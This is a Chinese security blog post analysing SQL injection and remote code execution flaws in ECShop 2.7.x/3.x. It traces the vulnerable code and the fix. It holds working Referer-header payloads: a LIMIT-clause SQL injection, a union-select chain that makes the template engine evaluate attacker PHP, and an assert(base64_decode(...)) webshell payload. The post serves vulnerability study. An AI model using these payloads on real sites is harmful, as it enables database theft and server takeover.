Hpdoger's Blog.

Echsop2.7.x几处漏洞分析

Word count: 1,884 / Reading time: 9 min
2019/02/02 Share

Echsop2.7.x几处漏洞分析

前言

这些洞是在半年前公布的细节,当时没来得及关注。最近在给自己定目标,决定重新刷一遍这些洞。

SQL注入

由于未对Reffer内容进行过滤而造成的SQL注入

漏洞位置user.php:302

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
elseif ($action == 'login')
{
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
else
{
$back_act = 'user.php';
}

}

$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');
}

$back_act可控为Reffer值,跟进assign

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 注册变量
*
* @access public
* @param mix $tpl_var
* @param mix $value
*
* @return void
*/
function assign($tpl_var, $value = '')
{
if (is_array($tpl_var))
{
foreach ($tpl_var AS $key => $val)
{
if ($key != '')
{
$this->_var[$key] = $val;
}
}
}
else
{
if ($tpl_var != '')
{
$this->_var[$tpl_var] = $value;
}
}
}

assign()注册了模板变量$this->_var[‘back_act’],这里注册的变量在后面的页面模板编译中会用到

继续跟进user的display函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* 显示页面函数
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return void
*/
function display($filename, $cache_id = '')
{
error_reporting(E_ALL ^ E_NOTICE);

$out = $this->fetch($filename, $cache_id);

if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}

echo $out;
}

Display中调用fetch函数处理模板文件:user_passport.dwt,跟进关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* 处理模板文件
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return sring
*/
function fetch($filename, $cache_id = '')
{
...
$out = $this->make_compiled($filename);
...
return $out; // 返回html数据
}

$filename就是user_passport.dwt,关键内容如下

1
2
3
4
5
<tr>
<td colspan="2" align="center"><input type="hidden" name="act" value="act_login" />
<input type="hidden" name="back_act" value="{$back_act}" />
<input type="submit" name="submit" value="{$lang.confirm_login}" /></td>
</tr>

通过make_compiled函数编译模板文件,编译时会把之前注册的模板变量渲染到{$back_act}。$out即为渲染后的html代码块

继续跟进流程,回到display。$out内容被分割为两部分,分割依据是$this->_echash,而$this->_echash参数值固定

1
2
3
4
5
6
7
8
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}

跟进insert_mod

1
2
3
4
5
6
7
8
function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;

return $fun($para);
}

继续对$out内容以“|”形式分割成$fun、$para,|后的内容进行反序列化,再动态调用$fun函数。至此,函数名$fun可控,函数内容$para可控,找一个以Insert_开头的可利用的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function insert_ads($arr)
{
static $static_res = NULL;

$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}

触发SQL注入,构造的PAYLOAD形式:

1
echash+ads|serialize(array("num"=>sqlpayload,"id"=>1))

创宇提供的一个payload示例如下:

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

采用limit注入,利用procedure analyse函数。具体见P师傅文章:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

RCE分析

RCE利用点还是insert_ads函数,参数的处理流程很大一部分是上文SQL注入的流程,这里分析3.x版本的RCE

继续跟进ads函数,重点部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function insert_ads($arr)
{
foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}
$position_style = $row['position_style'];
...
}

$position_style = 'str:' . $position_style;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
}

$res为查询结果,即$row[‘position_id’]可用SQL注入的Union select控制,$arr[‘id’]也可控,当两者相等时$position_style的值就可控为$row[‘position_style’]。接着又调用assgin注册变量、fetch编译模板。再看fetch函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* 处理模板文件
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return sring
*/
function fetch($filename, $cache_id = '')
{
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
else
{
......

由于字符串前被拼接了str:,所以进入$this->_eval函数处理,这也是最终的漏洞触发点,可以eval我们构造的恶意语句。

但是再_eval之前经过fetch_str处理字符串,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 处理字符串函数
*
* @access public
* @param string $source
*
* @return sring
*/
function fetch_str($source)
{
if (!defined('ECS_ADMIN'))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
}

第一个正则会匹配危险的字符串函数,重点在最后一个正则。\\1是替代表达,匹配到的字符串会替代\\1的位置。

eg:return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", "xxx{abc}xxx");结果就是return $this->select('{abc}')

跟进select函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 处理{}标签
*
* @access public
* @param string $tag
*
* @return sring
*/
function select($tag)
{
$tag = stripslashes(trim($tag));

if (empty($tag))
{
return '{}';
}
elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分
{
return '';
}
elseif ($tag{0} == '$') // 变量
{
// if(strpos($tag,"'") || strpos($tag,"]"))
// {
// return '';
// }
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
}
......

trim处理了字符串两边的{},最后返回一段php标签下的字符串,如果成功返回,则之前的eval就可以执行这段php字符串。不过这个值的获取取决于get_val,跟进get_val

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/**
* 处理smarty标签中的变量标签
*
* @access public
* @param string $val
*
* @return bool
*/
function get_val($val)
{
if (strrpos($val, '[') !== false)
{
$val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);
}

if (strrpos($val, '|') !== false)
{
$moddb = explode('|', $val);
$val = array_shift($moddb);
}

if (empty($val))
{
return '';
}

if (strpos($val, '.$') !== false)
{
$all = explode('.$', $val);

foreach ($all AS $key => $val)
{
$all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
}
$p = implode('', $all);
}
else
{
$p = $this->make_var($val);
}

若$val不存在.$则进入make_var()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* 处理去掉$的字符串
*
* @access public
* @param string $val
*
* @return bool
*/
function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}
else
{
.....

这个make_var的$val可控,则表明返回的$p可控,最终返回的$this->get_val()就可控,也就是$this->_eval的实参可控(一段PHP标签下的字符串),从而getshell。

构造Payload我用逆推的思路,逐步满足每个函数判断的条件

最终的POC要结合SQL注入,通过id和num参数将order by注释

再利用union select构造指定列的值:第二列postion_id,第七列position_style

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

id的值就是' /*,num的值*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -,0x27202f2a是' /*的16进制值,也就是第二列$row['position_id']的值。0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d{$'];phpinfo/**/();//}的16进制值

漏洞修复

看到ecshop4/ecshop/includes/lib_insert.php

对id和num进行强制类型转换了,字符串无法利用

题外话

创宇WAF拦截的Payload是这样

1
{$abc'];assert(base64_decode('YXNzZXJ0KCRfR0VUWyd4J10pOw=='));//}

巧妙解决了$_GET[]的[]问题,测试用法

参考链接

https://paper.seebug.org/695/#_5

CATALOG
  1. 1. Echsop2.7.x几处漏洞分析
  2. 2. 前言
  3. 3. SQL注入
  4. 4. RCE分析
  5. 5. 漏洞修复
  6. 6. 题外话
  7. 7. 参考链接